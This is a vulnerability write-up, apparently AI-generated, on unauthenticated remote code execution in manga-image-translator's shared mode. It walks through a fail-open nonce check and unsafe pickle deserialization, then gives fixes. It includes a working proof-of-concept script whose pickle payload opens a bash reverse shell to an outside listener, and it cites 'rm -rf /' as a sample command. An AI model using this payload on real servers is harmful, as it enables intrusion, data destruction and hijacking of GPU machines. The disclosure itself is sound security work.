CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-26215
9.80.13%

Lost in Translation: Unauthenticated RCE in Manga Image Translator

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 12, 2026·5 min read·41 visits

PoC Available

Executive Summary (TL;DR)

A logic error in the `check_nonce` function causes the API to skip authentication entirely in default configurations. Combined with an unsafe `pickle.loads()` call on the `/execute` endpoint, this allows unauthenticated RCE.

Translating manga is an art form. Translating arbitrary serialized Python objects into a root shell, however, is a science—specifically, the science of insecure deserialization. CVE-2026-26215 is a critical vulnerability in the `manga-image-translator` project that combines a classic `pickle` vulnerability with a hilariously broken authentication check. Because the developers relied on Python's truthiness logic for security configuration, the default installation leaves the front door wide open, allowing unauthenticated attackers to execute remote code on high-value GPU instances.

The Hook: GPU-Accelerated Danger

In the world of automated scanlation, manga-image-translator is a popular tool. It uses OCR and inpainting to erase original text and replace it with translations. Because this is heavy work, the tool supports a 'shared' mode (port 5003), allowing a central server with a beefy GPU to handle requests from lightweight clients.

This architecture sounds great until you realize how the clients talk to the server. Instead of sending JSON or a defined protocol buffer, the application takes the lazy route: it accepts raw, serialized Python objects. And whenever you see a Python application accepting serialized objects over the network, you should instinctively reach for your exploit scripts.

The real kicker? The developers knew this was dangerous. They implemented a nonce-based authentication system to prevent unauthorized access. But as we'll see, good intentions pave the road to remote code execution.

The Flaw: A Boolean Catastrophe

There are two bugs here dancing a tango of destruction. The first is the obvious one: Insecure Deserialization (CWE-502). The endpoint /execute/{method_name} takes the HTTP request body and feeds it directly into pickle.loads(). The pickle module is not secure. It never was. The Python docs practically scream this in red text. If you can pickle it, you can own it.

The second bug is the Authentication Bypass, and it is a masterclass in why implicit boolean conversion is dangerous. The server is supposed to check an X-Nonce header against a stored secret. Here is the logic intended to protect the API:

# pseudo-code of the flaw
if self.nonce:  # <--- The Fatal Flaw
    request_nonce = request.headers.get('X-Nonce')
    if request_nonce != self.nonce:
        raise HTTP_401

The variable self.nonce determines if auth is enabled. If the user doesn't provide a nonce argument, the code defaults it to an empty string ''. In Python, an empty string is 'falsy'.

So, if you run the server with default settings, if self.nonce: evaluates to False. The entire authentication block is skipped. The server effectively says, "Oh, you didn't set a password? I guess you don't want one. Come on in!"

The Code: The Smoking Gun

Let's look at the actual code in manga_translator/mode/share.py. It's a short trip from input to execution.

The Vulnerable Endpoint

@app.post('/execute/{method}')
async def execute(method: str, request: Request):
    # ... checks ...
    data = await request.body()
    # BOOM: Unsafe deserialization
    args, kwargs = pickle.loads(data)
    # ... execution ...

The Broken Guard

The CLI argument parser sets the default nonce to '':

parser.add_argument('--nonce', type=str, default='', help='nonce for shared mode')

And the checker in share.py:

def check_nonce(self, request: Request):
    # If self.nonce is '', this block is skipped.
    if self.nonce:
        nonce = request.headers.get('X-Nonce')
        if nonce != self.nonce:
             raise HTTPException(status_code=401, ...)

This is a classic 'fail-open' design. Security controls should always fail closed (deny by default). If the configuration is ambiguous, the application should crash or deny access, not disable the lock.

The Exploit: Pickling a Shell

Exploiting this is trivial. We don't need to bypass a firewall, we don't need to leak memory addresses, and thanks to the logic error, we don't even need credentials. We just need to craft a standard Python pickle payload using the __reduce__ method.

When pickle.loads() encounters an object with __reduce__, it calls that method to reconstruct the object. We can return a callable (like os.system) and a tuple of arguments (like ('rm -rf /',)).

The Attack Chain

  1. Target: Identify a server on port 5003.
  2. Craft: Create a class with __reduce__ returning (os.system, ('reverse_shell_command',)).
  3. Serialize: Dump it to a byte string.
  4. Send: POST the bytes to http://target:5003/execute/foo.

> [!CAUTION] > The following code is for educational purposes only. Do not test this on systems you do not own.

import pickle
import os
import requests
 
# The payload class
class Pwn:
    def __reduce__(self):
        # This runs on the server
        cmd = "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
        return (os.system, (cmd,))
 
# Serialize
payload = pickle.dumps(Pwn())
 
# Fire
url = 'http://vulnerable-manga-server:5003/execute/dummy'
requests.post(url, data=payload)
print("Payload sent. Check your listener.")

The Impact: Why This Matters

This isn't just a simple web server; it's a tool designed for GPU acceleration. Machines running this software are likely equipped with expensive hardware (NVIDIA Tesla, RTX series, etc.) to handle the neural network inference for OCR and inpainting.

Consequences:

  1. Cryptojacking: This is the most likely outcome. Attackers will compromise the host and immediately deploy GPU-optimized miners (XMRig, ethminer), rendering the server useless for its intended purpose and driving up electricity costs.
  2. Lateral Movement: These servers are often deep inside a network to access internal storage where manga scans are kept. RCE here offers a perfect pivot point.
  3. Data Loss: rm -rf works just as well on your 10TB archive of scanlations as it does on system files.

Since the application runs as the user who started it (often without containerization in hobbyist setups), the attacker inherits those permissions immediately.

The Fix: Closing the Window

The mitigation is two-fold: fix the logic, and banish pickle.

Immediate Remediation

If you are running manga-image-translator, STOP right now. Set the MT_WEB_NONCE environment variable to a strong random string. This forces self.nonce to be truthy, enabling the authentication check.

export MT_WEB_NONCE="Sup3rS3cur3R@nd0mStr1ng!"
python -m manga_translator ...

The Code Patch

The fix involves changing the boolean check to be explicit.

Bad: if self.nonce: Good: if self.nonce is not None:

Furthermore, the application should switch to JSON for serialization or use a RestrictedUnpickler that only allows specific, safe classes (like numpy arrays or simple dicts) and rejects global imports like os or subprocess.

Official Patches

zyddnysIssue tracking the vulnerability and patch proposal

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.13%
Top 68% most exploited

Affected Systems

manga-image-translator (Shared Mode)FastAPI servers using default nonce configuration

Affected Versions Detail

Product
Affected Versions
Fixed Version
manga-image-translator
zyddnys
<= beta-0.3N/A (See Issue #1116)
AttributeDetail
CWE IDCWE-502 (Deserialization of Untrusted Data)
CVSS v3.19.8 (Critical)
Attack VectorNetwork (HTTP POST)
AuthenticationNone (Bypassed)
PrivilegesUser/Server Context
StatusPoC Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.006Command and Scripting Interpreter: Python
Execution
T1204User Execution
Execution
CWE-502
Deserialization of Untrusted Data

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Known Exploits & Detection

GitHubFull technical write-up and python exploit script.

Vulnerability Timeline

Initial Discovery by sud0why
2025-05-01
Technical Disclosure by Chocapikk
2026-02-10
CVE Assigned and Public PoC released
2026-02-11

References & Sources

  • [1]Chocapikk Research: Manga Image Translator RCE
  • [2]Manga Image Translator Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.